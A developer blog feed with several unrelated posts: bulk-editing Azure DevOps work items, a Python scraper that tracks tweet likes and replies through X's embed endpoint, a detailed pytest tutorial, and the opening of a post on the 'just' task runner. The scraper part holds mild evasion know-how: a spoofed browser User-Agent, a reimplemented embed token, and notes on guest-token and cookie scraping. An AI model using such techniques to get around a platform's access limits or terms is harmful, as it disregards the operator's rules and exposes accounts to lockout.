description: "Open in Excel needs the Office add-in and Windows. Three ways to edit many Azure DevOps work items at once: bulk edit in the query, CSV import, or a spreadsheet grid in the browser."
tags: azuredevops, productivity, agile, tutorial
canonical_url: https://jr-devtools.com/guides/bulk-edit-azure-devops-work-items-without-excel/

cover_image: https://jr-devtools.com/bulk-editor/screenshot-grid.png

Disclosure: I'm the developer of Bulk Editor, one of the options mentioned below. Originally published on jr-devtools.com.

“Open in Excel” relies on the Azure DevOps Office Integration add-in: Windows only, and a frequent source of TF80012-style errors and Excel crashes. If you're on a Mac, can't install the add-in, or just want it to work, here are three ways to edit many work items at once.

1. Bulk edit in the query results (built in)

In a query or backlog, select several work items (Shift- or Ctrl-click), open the context menu and choose Edit. You can set one or more fields to the same value for all selected items, for example a new iteration, state or assignee.

Good: built in, nothing to install. Limit: every selected item gets the same value, so it doesn't help when each row needs its own estimate, title or tag.

2. CSV export and import (built in)

Run a query, export it with Export to CSV, edit the file in any spreadsheet app, and bring it back with Boards → Work items → Import work items. Rows with an ID update existing items, rows without one create new items.

Good: works on any OS, handles different values per row. Limits: rich-text fields such as Description are exported as raw HTML; errors only show up at import time; and nothing warns you if someone changed a work item after your export.

3. A spreadsheet grid in the browser

Bulk Editor (made by me) opens a query, a backlog selection or any list of work items in a spreadsheet-like grid inside Azure DevOps:

type in cells, use Enter and Tab, paste a block copied from Excel, and undo;
pick lists, required fields, states and area/iteration paths come from your own process, and invalid values are flagged before you publish;
nothing is saved until you select Publish, and a row that someone else changed in the meantime is refused instead of overwritten;
rich-text fields are never flattened; export to a clean .xlsx without HTML tags;
Pro: import .xlsx back, add new work items and children, and change parents in tree queries.

Good: nothing to install on your computer, works on Mac and Linux, different values per row with validation. Limits: Azure DevOps Services only for now; Pro is paid ($12 per organization per month), with a free plan of 25 published work items per organization per month and a 14-day Pro trial.

Which one should I use?

You want to …	Use
Move 40 items to the next sprint	Bulk edit in the query
Create a few hundred items once, from a plan someone sent you	CSV import
Groom a backlog: different estimates, titles and owners per row, regularly	A grid in the browser
Keep working in Excel on Windows with formulas	Open in Excel still does that, if the add-in works for you

Not affiliated with Microsoft. “Azure DevOps”, “Excel” and “Office” are trademarks of Microsoft.

Twitter (X) Scraper in Python: Tweet Metrics, SQLite Snapshots, and the Walls You'll Hit (2026)

Wed, 14 Oct 2026 09:11:05 +0000

Most people who search for a "Twitter scraper" don't need the whole firehose. They have a list of tweet URLs (a launch, a campaign, posts from a few creators) and want to know how many likes and replies each one has, and how that changes over a week. That job is still doable in plain Python without logging in. Pulling a user's whole timeline is a different story, and I'll be honest about where it breaks.

This guide builds a small tracker: tweet URLs go in, and a SQLite table of engagement snapshots comes out.

What still works without logging in

When a site embeds a tweet, the embed widget loads its data from a public JSON endpoint:

https://cdn.syndication.twimg.com/tweet-result?id=<tweet_id>&token=<token>

It returns the tweet text, creation date, author (name, handle, verified flags), media, favorite_count (likes) and conversation_count (replies). There's no API key and no cookie. The token is derived from the tweet ID with a small formula from the open-source embed code. Today the endpoint seems to accept any non-empty token, but an empty one returns {}, so compute it the same way the widget does in case that changes.

What you don't get matters just as much: no retweet count, no quote count, no view count, and no way to list a user's tweets. Keep that in mind before you build a dashboard on it.

Setup

python -m venv .venv && source .venv/bin/activate
pip install requests

Step 1: Turn URLs into IDs (and IDs into dates)

Tweet IDs are "snowflakes": the top bits are a timestamp in milliseconds since X's custom epoch. That means you can get the post time from the ID alone, which is handy for sorting before you've fetched anything. This only holds for tweets from November 2010 onward, when snowflake IDs started. Older IDs are small sequential numbers, so prefer the created_at field once you have the tweet.

import math
import re
from datetime import datetime, timezone

ID_RE = re.compile(r"(?:twitter|x)\.com/[^/]+/status(?:es)?/(\d+)")
TWITTER_EPOCH_MS = 1288834974657


def tweet_id(url_or_id: str) -> str:
    if url_or_id.isdigit():
        return url_or_id
    m = ID_RE.search(url_or_id)
    if not m:
        raise ValueError(f"not a tweet URL: {url_or_id}")
    return m.group(1)


def posted_at(tid: str) -> datetime:
    ms = (int(tid) >> 22) + TWITTER_EPOCH_MS
    return datetime.fromtimestamp(ms / 1000, tz=timezone.utc)

Step 2: Compute the embed token

The embed code does ((id / 1e15) * Math.PI).toString(36) and then strips every 0 and the dot. Python has no float-to-base-36, so here's a short port:

DIGITS = "0123456789abcdefghijklmnopqrstuvwxyz"


def _to_base36(x: float, frac_digits: int = 12) -> str:
    whole, frac = int(x), x - int(x)
    out = ""
    while whole:
        out = DIGITS[whole % 36] + out
        whole //= 36
    out = (out or "0") + "."
    for _ in range(frac_digits):
        frac *= 36
        d = int(frac)
        out += DIGITS[d]
        frac -= d
    return out


def embed_token(tid: str) -> str:
    return re.sub(r"0+|\.", "", _to_base36((int(tid) / 1e15) * math.pi))

Step 3: Fetch one tweet, politely

import random
import time
import requests

SESSION = requests.Session()
SESSION.headers["User-Agent"] = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/129.0 Safari/537.36"
)
ENDPOINT = "https://cdn.syndication.twimg.com/tweet-result"


def fetch_tweet(tid: str, retries: int = 4) -> dict | None:
    for attempt in range(retries):
        r = SESSION.get(
            ENDPOINT,
            params={"id": tid, "token": embed_token(tid), "lang": "en"},
            timeout=20,
        )
        if r.status_code == 404:
            return None  # deleted, protected, or never existed
        if r.status_code == 429 or r.status_code >= 500:
            time.sleep(2 ** attempt + random.random())
            continue
        r.raise_for_status()
        data = r.json()
        if not data or data.get("__typename") != "Tweet":
            return None  # empty object or a tombstone (withheld, age-gated...)
        return data
    raise RuntimeError(f"gave up on {tid} after {retries} tries")

Three things to notice. A 404 is normal and not an error: tweets get deleted and accounts go private. An empty {} or a non-Tweet type also means "nothing usable". And retry only on 429 and 5xx, with backoff and jitter.

Step 4: Store snapshots in SQLite

One row per tweet per run. Never overwrite, because the history is the useful part.

import sqlite3

db = sqlite3.connect("tweets.db")
db.executescript("""
CREATE TABLE IF NOT EXISTS tweets (
    id TEXT PRIMARY KEY, handle TEXT, posted_at TEXT, text TEXT
);
CREATE TABLE IF NOT EXISTS snapshots (
    id TEXT, fetched_at TEXT, likes INTEGER, replies INTEGER,
    PRIMARY KEY (id, fetched_at)
);
""")


def track(urls: list[str]) -> None:
    now = datetime.now(timezone.utc).isoformat(timespec="seconds")
    for url in urls:
        tid = tweet_id(url)
        t = fetch_tweet(tid)
        if t is None:
            print(f"skip {tid}: unavailable")
            continue
        db.execute(
            "INSERT OR IGNORE INTO tweets VALUES (?, ?, ?, ?)",
            (tid, t["user"]["screen_name"], t.get("created_at") or posted_at(tid).isoformat(), t["text"]),
        )
        db.execute(
            "INSERT OR REPLACE INTO snapshots VALUES (?, ?, ?, ?)",
            (tid, now, t.get("favorite_count", 0), t.get("conversation_count", 0)),
        )
        time.sleep(1.5 + random.random())  # stay well under any rate limit
    db.commit()


if __name__ == "__main__":
    track(open("tweets.txt").read().split())

Put one URL per line in tweets.txt and run it from cron every few hours.

Step 5: See what moved

SELECT t.handle, s.id,
       MAX(s.likes) - MIN(s.likes)     AS likes_gained,
       MAX(s.replies) - MIN(s.replies) AS replies_gained,
       COUNT(*)                        AS snapshots
FROM snapshots s JOIN tweets t USING (id)
WHERE s.fetched_at >= datetime('now', '-7 days')
GROUP BY s.id
ORDER BY likes_gained DESC;

For tracking a few hundred known tweets, that's the whole thing, and it has been stable for me.

The walls you'll hit

No timelines. The tracker only works when you already know the tweet IDs. The embed timeline endpoint (syndication.twitter.com/srv/timeline-profile/...) answered my very first request with 429 Rate limit exceeded, and logged-out x.com profile pages render almost nothing useful in raw HTML.

Missing metrics. No retweets, quotes, or views here. If those numbers matter, this endpoint isn't enough.

Guest tokens and GraphQL. The web app gets data from internal GraphQL operations (UserByScreenName, UserTweets and so on). You can get a guest token without logging in, but the operation IDs and required features flags change with each web release, and X keeps narrowing what guests can see. Expect to fix that code often.

Logged-in cookies. Scraping with your own session cookies works until the account gets rate-limited, challenged, or locked. Don't do it with an account you care about, and read X's terms before you scale anything.

The official API. It's the clean route, but the free tier is very limited for reads and the paid tiers are priced for companies. Check the current plans on X's developer portal before you plan around it.

When I stop doing it myself

If the job grows from "these 200 tweets" into "every new post from these 50 accounts, with views and retweets", the guest-token treadmill eats more time than it saves. That's where I use an API. For example, ScrapeAtlas* has GET /v1/twitter/user-tweets?handle=<handle> (newest first, with optional since/until) and GET /v1/twitter/profile?handle=<handle>. Each tweet comes back with legacy.favorite_count, retweet_count, reply_count, quote_count, views.count and its URL:

import os
import requests

r = requests.get(
    "https://api.scrapeatlas.com/v1/twitter/user-tweets",
    params={"handle": "python_tip", "since": "2026-10-01T00:00:00Z"},
    headers={"x-api-key": os.environ["SCRAPEATLAS_API_KEY"]},
    timeout=60,
)
r.raise_for_status()
body = r.json()
if not body["coverage"]["complete"]:
    print("partial result:", body["coverage"]["warnings"])
for tw in body["tweets"]:
    lg = tw["legacy"]
    print(tw["url"], lg["favorite_count"], lg["retweet_count"], tw.get("views", {}).get("count"))

Check coverage.complete and warnings every time. A partial page is labelled as one, and you should treat it that way rather than as "this account posted less".

Whichever route you take, keep the snapshot table. The numbers that matter are the changes over time, not one reading. If you've found a more stable logged-out way to list a user's recent tweets, I'd like to hear it in the comments.

*I build it.

Pytest in Practice

Tue, 13 Oct 2026 12:45:48 +0000

I've been learning Python by building a video clipping CLI application, and along the way I've ended up learning a lot more than I expected.

Some of it was straightforward. Some of it made me stop and think, especially when I first started writing tests.

Things like:

How does pytest even know which functions are tests?
Why does everyone keep putting things in conftest.py?
When should I use a fixture?
What's the difference between patch and monkeypatch?
Why did my mock not work when I was sure I patched the right thing?
When should I mock something, and when should I just run the real thing?
What's the point of parametrization when I could just use a loop?
How do I debug one failing test without running the entire suite every time?

These are the kinds of things that can feel like arbitrary rules when you're first encountering them.

Once I understood the reasoning behind them, though, pytest started making a lot more sense.

So this isn't meant to be a complete pytest reference or an explanation of every feature pytest has. It's more like a collection of the things that finally "clicked" for me while testing a real Python project.

The examples are based on my video clipping CLI, so you'll see things like FFmpeg, video metadata, audio extraction, transcription, temporary files, external dependencies, and slow tests.

Hopefully, if you're also learning Python by building something rather than just following tutorials, some of these lessons save you a few of the "why does it work like that?" moments I had.

Installing pytest

If you're using uv, installing pytest and coverage support is straightforward:

uv add --dev pytest pytest-cov
uv run pytest --version

You now have everything needed to start writing and running tests.

Your First Test

A pytest test can be nothing more than a function:

# tests/core/test_video_inspector.py

from clipper.core.video_inspector import get_video_metadata


def test_get_video_metadata_returns_none_on_missing_file():
    result = get_video_metadata("does_not_exist.mp4")
    assert result is None

Run it with:

uv run pytest

That's it.

There is no base class, no registration, and no decorator required.

pytest finds the test because:

the file starts with test_
the function starts with test_

That naming convention is the mechanism.

How Does pytest Find Your Tests?

pytest automatically walks the current directory and its subdirectories looking for test files.

By default, it looks for files matching patterns such as:

test_*.py
*_test.py

Inside those files, it looks for functions matching:

test_*

and, inside classes whose names start with Test*, methods that also match test_*.

So this:

tests/
└── core/
    └── test_video_inspector.py

is enough for pytest to discover the file automatically. You don't need to register the test anywhere.

This is also why commands such as:

uv run pytest --cov=src

work without explicitly listing every test file. pytest's discovery mechanism does the work.

Assertions: Just Use `assert`

One of the nicest things about pytest is that you use Python's built-in assert.

def test_fps_math():
    assert round(29.970029970029969, 2) == 29.97

You don't need a collection of methods like:

assertEqual(...)
assertTrue(...)
assertFalse(...)
assertIn(...)

Instead, pytest rewrites assert statements when running tests so that failures contain useful information about what each side evaluated to. That makes a failed assertion much more informative than simply:

Assertion failed

Comparing Floats with `pytest.approx`

Don't compare floating-point calculations using exact equality.

Instead:

import pytest


def test_duration_seconds():
    assert 125.5 == pytest.approx(float("125.500001"))

Floating-point calculations rarely land exactly where you expect. This matters especially when dealing with things like frame rates, durations, timestamps, or calculations involving Fraction.

Without pytest.approx, you might end up writing this everywhere:

assert abs(actual - expected) < 0.001

pytest.approx gives you the tolerance without repeating that boilerplate.

`pytest.approx` Works with Nested Structures

pytest.approx isn't limited to individual numbers. You can use it when comparing nested structures:

def test_transcribe_matches_golden_output(
    sample_speech_path,
    sample_transcript,
):
    result = transcribe(str(sample_speech_path))

    assert result == pytest.approx(sample_transcript)

This is particularly useful for regression or "golden file" tests. Imagine a transcript like:

{
    "segments": [
        {
            "start": 0.123456,
            "end": 1.987654,
            "words": [
                {"word": "hello", "start": 0.123},
                {"word": "world", "start": 0.456},
            ],
        }
    ]
}

You don't want to write a loop comparing every timestamp manually. pytest.approx can recursively compare numeric values with tolerance while still using normal equality for strings and other values — so it's practical to compare an entire expected transcript while allowing for harmless floating-point differences.

Testing That an Error Is Actually Raised

When the expected behavior is for a function to raise an exception, use pytest.raises.

import pytest


def test_extract_audio_raises_on_bad_codec():
    with pytest.raises(ffmpeg.Error):
        extract_audio(
            "in.mp4",
            "out.wav",
            codec="not_a_real_codec",
        )

This test verifies two things:

The code raises an exception.
The exception is the expected type.

The test fails if the function doesn't raise anything. It also fails if it raises a different exception type. Both outcomes are useful information.

`pytest.raises` Only Works When the Exception Escapes

There's an important distinction here. Suppose your function catches its own exception:

def extract_audio(...):
    try:
        ...
    except ffmpeg.Error:
        logger.error(...)
        return None

The exception never reaches the caller. Therefore, this won't work:

with pytest.raises(ffmpeg.Error):
    extract_audio(...)

There's nothing left for pytest.raises to catch. Instead, test the function's actual contract:

result = extract_audio(...)

assert result is None

And, if logging is part of the behavior you care about, use caplog to verify that the expected error was logged.

A useful rule of thumb:

If the function returns None from its except block, test the return value rather than expecting an exception.

Parametrize: One Test, Many Inputs

Suppose you need to test several timestamp formats. You could write three tests:

def test_timestamp_one():
    ...


def test_timestamp_two():
    ...


def test_timestamp_three():
    ...

But the test logic is identical. That's exactly what pytest.mark.parametrize is for:

@pytest.mark.parametrize(
    "timestamp,expected_seconds",
    [
        ("00:00:01", 1.0),
        ("00:01:00", 60.0),
        ("01:00:00", 3600.0),
    ],
)
def test_validate_timestamp_parses_valid_formats(
    timestamp,
    expected_seconds,
):
    assert validate_timestamp(timestamp) == pytest.approx(expected_seconds)

Think of it like a form letter: the first argument names the blanks to fill in (timestamp, expected_seconds), and the second argument is a stack of filled-in versions. pytest prints one out and runs the test for each one:

test_validate_timestamp_parses_valid_formats[00:00:01-1.0]
test_validate_timestamp_parses_valid_formats[00:01:00-60.0]
test_validate_timestamp_parses_valid_formats[01:00:00-3600.0]

Each case can pass or fail independently.

Why independence matters

You could achieve something similar with a loop:

def test_timestamps():
    for timestamp, expected in cases:
        assert validate_timestamp(timestamp) == expected

But there's a major difference: a normal loop stops at the first failure. With parametrization, pytest runs every case. So one test run tells you exactly which inputs are broken instead of merely telling you:

test_timestamps failed

When should you use it?

The signal is simple:

If you're about to write several nearly identical test functions that differ only in their input values, consider parametrize.

It works just as well for valid inputs as it does for malformed or invalid ones.

Grouping Tests in a Class

pytest supports test classes:

class TestGetVideoMetadata:
    def test_returns_none_for_missing_file(self):
        assert get_video_metadata("missing.mp4") is None

    def test_has_audio_true_when_audio_stream_present(self):
        ...

But classes aren't mandatory. Use them when they provide something useful, such as:

shared setup
fixtures scoped to the group
applying a marker to multiple tests

Don't use a class purely because it feels more organized. A well-named test file already provides plenty of organization.

An important detail about test classes

Each test method gets a fresh instance of the class. So this:

class TestSomething:
    def test_one(self):
        self.value = 1

    def test_two(self):
        assert self.value == 1

is not valid. test_two doesn't receive the instance used by test_one. That's intentional — tests should be isolated from one another. Depending on mutable state from another test creates order-dependent and difficult-to-debug failures.

Fixtures

Fixtures are one of pytest's most useful features. A fixture is a function that provides something a test needs — think of it like an ingredient a recipe asks for by name. You don't prep it inside the recipe itself; you just say "I need sample_video_path" and pytest hands it to you already made.

# tests/conftest.py

import pytest
from pathlib import Path


@pytest.fixture
def sample_video_path() -> Path:
    return Path(__file__).parent / "fixtures" / "sample.mp4"

A test can then request it simply by putting the fixture name in its parameters:

# tests/core/test_video_inspector.py

def test_metadata_against_real_file(sample_video_path):
    result = get_video_metadata(str(sample_video_path))

    assert result is not None

pytest sees sample_video_path in the test signature, finds the fixture with that name, runs it, and passes the result to the test. No import is required.

Why `conftest.py` Matters

conftest.py is automatically discovered by pytest. Fixtures defined there are available to test files in the same directory and its subdirectories — it works like a shared pantry that any test file in that part of the tree can pull from without asking for a delivery.

For example:

tests/
├── conftest.py
├── core/
│   └── test_video_inspector.py
└── api/
    └── test_transcription.py

A fixture defined in tests/conftest.py is available to both tests/core/ and tests/api/.

You can also have a more specific conftest.py deeper in the tree:

tests/
├── conftest.py
└── core/
    ├── conftest.py
    └── test_video_inspector.py

The deeper fixture configuration can then be used specifically by that subtree. A useful convention is: root conftest.py for shared fixtures, nested conftest.py files for fixtures that are genuinely local to a particular test area.

Fixture Scope

Fixtures don't necessarily have to run for every test. You can control their lifetime:

@pytest.fixture(scope="function")  # default
@pytest.fixture(scope="module")    # once per test file
@pytest.fixture(scope="session")   # once per entire test run

The default is scope="function", which means a fresh fixture is created for every test. Prefer the default unless there is a good reason to reuse the fixture.

A broader scope can make sense when setup is genuinely expensive and safe to share. For example, generating a synthetic sample video once per session may be much cheaper than generating it once for every test.

Built-in Fixtures Worth Knowing

pytest provides several useful fixtures out of the box.

`tmp_path`

Provides a unique temporary directory for each test. Great for anything that needs to write files.

`caplog`

Captures logging output. Useful when you want to verify that something logged an error or warning.

`capsys`

Captures stdout and stderr. Useful for testing CLI output.

`monkeypatch`

Temporarily changes attributes, environment variables, dictionary entries, and other values. pytest automatically restores the changes after the test.

You can inspect available fixtures with:

uv run pytest --fixtures

`tmp_path` in Practice

Suppose you want to verify that audio extraction creates an actual file:

def test_extract_audio_writes_real_file(
    sample_video_path,
    tmp_path,
):
    output_path = tmp_path / "output.wav"

    result = extract_audio(
        str(sample_video_path),
        str(output_path),
    )

    assert result == str(output_path)
    assert output_path.exists()

This is an integration-style test. It actually runs FFmpeg and checks that a real file was created. But because tmp_path is temporary, the test doesn't leave generated files scattered around your project — pytest creates the directory and handles its cleanup.

Mocking: Two Tools, Different Jobs

Python gives you unittest.mock. pytest gives you monkeypatch. They overlap, but each one shines in a different situation.

`unittest.mock.patch`

Use patch when you want a more capable mock, particularly when you need to inspect how something was called.

from unittest.mock import patch


def test_metadata_no_audio():
    fake_probe = {
        "format": {
            "filename": "silent.mp4",
            "duration": "10.0",
        },
        "streams": [
            {
                "codec_type": "video",
                "r_frame_rate": "25/1",
            },
        ],
    }

    with patch(
        "clipper.core.video_inspector.ffmpeg.probe",
        return_value=fake_probe,
    ):
        result = get_video_metadata("silent.mp4")

    assert result["has_audio"] is False

patch temporarily replaces the target with a mock. It is particularly useful when you want to assert things like:

mock_input.assert_called_once_with("in.mp4")

`monkeypatch`

monkeypatch is pytest's own fixture. It's particularly convenient for simple temporary substitutions.

def test_uses_default_bitrate_env_var(monkeypatch):
    monkeypatch.setenv(
        "CLIPPER_DEFAULT_BITRATE",
        "256k",
    )

    assert get_default_bitrate() == "256k"

There's no context manager and no manual cleanup — pytest automatically restores the environment variable after the test. You can also replace attributes with monkeypatch.setattr(...) or dictionary entries with monkeypatch.setitem(...).

`patch` vs `monkeypatch`: A Practical Mental Model

Imagine your code is a toy robot and you want to test what happens when one of its components behaves differently. You don't want to actually break the component — you just want to temporarily pretend that it behaves differently.

monkeypatch is like putting a temporary sticky note over the component: "For this test, pretend this value is different." pytest removes the note when the test finishes.

patch is another version of the same idea, but with a much more powerful mock object behind it. patch can easily track call count, arguments, return values, exceptions, and chained calls.

Both clean themselves up reliably when used correctly. With patch, the common form in this project is:

with patch(...):
    ...

The mock is restored automatically when the block ends, even if the test fails.

Which One Should You Use?

A practical rule:

Need	Use
Assert how something was called	`patch`
Check call count or exact arguments	`patch`
Mock a chained/fluent API	`patch`
Replace an environment variable	`monkeypatch`
Temporarily change one attribute	`monkeypatch.setattr(...)`
Temporarily change a dictionary entry	`monkeypatch.setitem(...)`
Replace an external dependency and inspect the mock	`patch`

The important thing isn't to memorize a strict rule. It's to recognize the distinction:

If you need to inspect how the dependency was used, patch is usually the natural choice. If you just need to temporarily replace a value or attribute, monkeypatch is often simpler.

`side_effect`: Make a Mock Fail

Mocks aren't only useful for returning fake successful results. They can also simulate failures.

return_value means "always return this." side_effect means "raise this exception instead."

with patch(
    "clipper.core.video_inspector.ffmpeg.probe",
    side_effect=ffmpeg.Error(
        cmd="ffprobe",
        stdout=b"",
        stderr=b"bad file",
    ),
):
    result = get_video_metadata("bad.mp4")

This lets you exercise failure paths without needing to create a genuinely broken video file.

Mock the Boundary, Not Your Own Logic

This is probably the most important mocking rule in the entire guide:

Mock the boundary, not the logic you're trying to test.

Suppose your code does this:

probe = ffmpeg.probe(path)

The interesting logic is what your application does with the result. So mock ffmpeg.probe and provide realistic fake data — don't mock the parsing logic itself. A test that mocks everything, including the thing you're trying to test, can end up proving nothing more than: "my mocks returned what I told them to return."

Put another way — you're testing your recipe, not reinventing the oven. External boundaries are good mocking candidates:

FFmpeg
HTTP APIs
databases
filesystem operations
cloud services
external processes

Your own business logic is usually what you want to execute for real.

The Most Common Mocking Mistake: Patching the Wrong Path

This catches a lot of people. Suppose your module contains:

# video_inspector.py

import ffmpeg


def get_video_metadata(path):
    return ffmpeg.probe(path)

You might think you should patch ffmpeg.probe. But that's not necessarily the correct target — the code under test looks up ffmpeg in its own module namespace. Therefore, patch where the name is looked up:

patch(
    "clipper.core.video_inspector.ffmpeg.probe"
)

The general rule is:

Patch where the object is looked up, not where it was originally defined.

If you patch the wrong path, the real dependency may still run. That can make a test unexpectedly hit FFmpeg, the network, a database, or some other external system.

Mocking a Chained Call

Some APIs aren't a single function call. For example, ffmpeg-python can use a fluent chain:

ffmpeg.input(...).output(...).overwrite_output().run(...)

Mocking that requires walking the chain. MagicMock automatically creates mocks for attributes you access, so mock_input.return_value represents the result of ffmpeg.input(...), .output.return_value represents the next link in the chain, and so on until you reach .run — the actual operation you want to make fail.

def test_extract_audio_sad_path(caplog):
    fake_error = ffmpeg.Error(
        cmd="ffmpeg",
        stdout=b"",
        stderr=b"encoding failed",
    )

    with patch(
        "clipper.core.video_inspector.ffmpeg.input"
    ) as mock_input:
        mock_run = (
            mock_input
            .return_value
            .output
            .return_value
            .overwrite_output
            .return_value
            .run
        )
        mock_run.side_effect = fake_error

        result = extract_audio(
            "in.mp4",
            "out.wav",
        )

    assert result is None
    assert "error" in caplog.text.lower()

Walking the chain into its own variable (mock_run) before setting side_effect keeps the assignment itself simple and unambiguous — trying to set an attribute in the middle of a long parenthesized chain is a common source of syntax mistakes.

Organizing Your Test Files

A simple and predictable test layout goes a long way. If your source looks like:

src/
└── clipper/
    └── core/
        └── video_inspector.py

mirror it under tests/:

tests/
└── core/
    └── test_video_inspector.py

This makes it immediately obvious where the tests for a source module live.

Keep `tests/` Outside `src/`

Use:

project/
├── src/
├── tests/
└── pyproject.toml

rather than:

src/
├── clipper/
└── tests/

Keeping tests outside the package helps avoid accidentally shipping them with your built distribution and keeps the distinction between application code and test code clear.

You Usually Don't Need `init.py`

pytest doesn't require your test directories to be Python packages. So this is perfectly fine:

tests/
├── core/
│   └── test_video_inspector.py
└── api/
    └── test_transcription.py

No __init__.py required. There can be edge cases where you intentionally want package semantics, but don't add __init__.py to test directories just because you think pytest requires it. It doesn't.

Keep Fixtures Separate from Test Code

tests/
├── conftest.py
├── fixtures/
│   └── sample.mp4
└── core/
    └── test_video_inspector.py

This makes the distinction obvious: test_*.py contains test logic, fixtures/ contains test data.

Mark Slow and External Tests

Not every test costs the same amount to run. A test that calls real FFmpeg is different from a test that checks a pure Python function.

You can mark integration tests:

@pytest.mark.integration
def test_extract_audio_against_real_file(...):
    ...

Then register the marker in pyproject.toml:

[tool.pytest.ini_options]
markers = [
    "integration: calls real ffmpeg/ffprobe against a fixture file",
]

Now you can run the fast suite without integration tests:

pytest -m "not integration"

And run everything with:

pytest

This gives you a useful distinction between fast unit tests and slower integration tests.

Debugging pytest Without Sprinkling `print()` Everywhere

pytest captures output by default. That can be surprising when you're debugging — a print(result) that produces nothing on screen. Here are the options you'll reach for most often.

`-s`: Show stdout/stderr

uv run pytest -s

This disables output capturing, so your print() statements become visible. It's useful, although there are usually better debugging tools than adding prints everywhere.

`-k`: Run Tests by Name

If you're working on audio extraction, there's no reason to run 200 unrelated tests.

uv run pytest -k "extract_audio"

pytest runs tests whose names match the expression. This is one of the most useful options during active development.

`-x`: Stop at the First Failure

uv run pytest -x

Instead of getting a wall of failures, pytest stops after the first one. This is particularly useful when fixing a cascading failure.

`--pdb`: Drop Into the Debugger

uv run pytest --pdb

When a test fails, pytest drops you into an interactive debugger at the point of failure. Inside the debugger, you can inspect variables and control execution — c continues, q quits. This can be much faster than trying to predict where a bug is before running the test.

`-vv`: More Verbose Output

uv run pytest -vv

Useful when assertions involve large dictionaries, long strings, or parametrized tests and you want more detail in the output.

`--lf`: Run Only the Last Failures

uv run pytest --lf

--lf means "last failed." It reruns tests that failed during the previous run instead of running the entire suite. This is particularly useful when you're fixing several failures one by one.

A Practical Debugging Command

These options can be combined:

uv run pytest -k "extract_audio" -x --pdb

This means: run only tests matching extract_audio, stop at the first failure, and open the debugger at the failure. That's a very practical development loop.

Running a Specific Test

pytest doesn't natively use line numbers to select a test. This isn't standard pytest test selection:

pytest test_file.py:29

Instead, select by node ID:

pytest tests/core/test_video_inspector.py::test_metadata_no_audio

Or use -k:

pytest -k "metadata_no_audio"

Editors such as VS Code and PyCharm can provide "run this test" buttons. They translate your selection into pytest's name-based test selection behind the scenes. There are plugins that provide literal line-number selection, but you generally don't need one.

Quickly Inspecting a Return Value

Sometimes you just want to see what a function actually returned. One quick technique is to deliberately make an assertion fail:

def test_scratch(sample_video_path):
    result = get_video_metadata(str(sample_video_path))

    assert result == {}

If {} isn't the actual result, pytest's failure output will show you the value. Delete the temporary test afterward.

Another option is:

uv run pytest --showlocals

or the shorthand -l, which shows local variables when a test fails.

Dealing with Slow Tests

Don't guess which tests are slow. Measure them.

uv run pytest --durations=10

This reports the ten slowest tests after the run. You may discover that one or two tests account for most of the delay. Optimizing everything before measuring can waste the very time you're trying to save.

Mark Slow Tests

Tests that load a real model or perform real inference are good candidates for a slow marker:

@pytest.mark.slow
def test_transcribe_real_audio_produces_valid_shape(
    sample_speech_path,
):
    ...

[tool.pytest.ini_options]
markers = [
    "integration: calls real ffmpeg/ffprobe against a fixture file",
    "slow: tests that load a real model or run real transcription",
]

Then your normal development loop can skip them:

pytest -m "not slow"

And your complete suite can still run with pytest.

Caching Can Already Solve Some Performance Problems

Suppose your application loads a model once at module level, and subsequent calls reuse it. Then only the first test that needs the model may pay the expensive loading cost — the others can reuse the already-loaded instance.

You can verify whether this is actually happening with uv run pytest --durations=10. If the first model-related test is slow and subsequent tests are much faster, your existing caching may already be doing the job. If every test is slow, something may be reloading the model when it shouldn't. Measure first.

Parallelizing the Suite

If the entire suite is slow, rather than just a handful of expensive tests, parallel execution may help.

uv add --dev pytest-xdist
uv run pytest -n auto

-n auto lets xdist determine a useful number of workers. But don't reach for parallelization automatically — for many projects, simply excluding slow tests during development (pytest -m "not slow") is enough.

Coverage Is a Flashlight, Not a Scoreboard

Coverage is useful. It tells you which lines of code weren't exercised by your tests.

uv run pytest --cov=src

This can help you find code paths you haven't thought about. But coverage doesn't tell you whether your tests are good. You can achieve 100% coverage with tests that assert almost nothing meaningful:

def test_everything():
    my_function()

The code executed. Coverage increases. But the test may tell you almost nothing about whether the behavior is correct. So treat coverage as a flashlight — use it to illuminate parts of the code you haven't tested. Don't treat it as a scoreboard you have to maximize.

A Simple Checklist for Every New Test

When adding tests for a new function or feature, ask:

1. What's the happy path?

What should happen when everything is valid?

2. What's at least one edge case?

Consider: empty input, missing fields, boundary values, unexpected but valid combinations.

3. What's the failure mode?

What should happen when input is invalid, an external dependency fails, a file doesn't exist, or an API returns an unexpected result?

4. What should be mocked?

Usually mock things that are external, slow, non-deterministic, or side-effecting. But let your own logic run for real.

5. Is the test asking one question?

If the test name contains the word "and," that's sometimes a sign that you're testing two behaviors at once. A test should ideally answer one clear question.

The Mental Model I Ended Up With

pytest can look like a large collection of features when you're first learning it. But after working with it for a while, I found that most of what I actually needed came down to a few ideas.

Tests are ordinary Python functions. pytest discovers them through naming conventions.

Assertions are ordinary Python assert statements. pytest makes their failures informative.

Fixtures provide reusable things that tests need. conftest.py makes shared fixtures available without imports.

Parametrization lets you run the same test logic against multiple inputs.

Mocks let you replace boundaries you don't want to exercise for real. Things like FFmpeg, APIs, databases, and other external systems are often good candidates — while the logic you're actually testing should usually run normally.

Markers let you separate tests by purpose or cost. And the debugging tools make it much easier to figure out why something failed without resorting to print() everywhere.

Most importantly, I stopped thinking of testing as "how do I get my coverage number up?" and started thinking more in terms of "what question am I trying to answer with this test?" For me, that shift made pytest much easier to understand.

The syntax is the easy part. The useful part is learning what behavior is worth testing, what should be isolated, what should run for real, and how to make a failure tell you something useful.

Learning `just`: A Practical Task Runner

Tue, 13 Oct 2026 12:45:10 +0000

I've been learning just recently.

I came across it while setting up a Python project and looking for a simple way to collect all the commands I use during development.

This started with something I got used to in Elixir.

One of the things I really like about Elixir projects is that you can put the common development tasks behind simple commands/aliases:

mix format
mix test
mix ci

You don't have to remember every command that runs underneath. The project gives you a small set of commands and you use those.

I wanted something similar for a Python project.

For example, instead of remembering all the different checks I need to run, I wanted to be able to do this:

just ci

and let the project take care of the rest.

My first thought was Make

Make was the obvious choice.

I've used Make a lot, and it works. It's installed almost everywhere, most developers have seen a Makefile before, and there is a huge amount of existing knowledge around it.

So I started there.

The setup was pretty small:

format:
	uv run ruff format --check .

lint:
	uv run ruff check .

typecheck:
	uv run mypy src/

test:
	uv run pytest --cov=src --cov-report=term-missing

ci: format lint typecheck test

That gave me exactly what I wanted.

I could run:

make format
make lint
make typecheck
make test
make ci

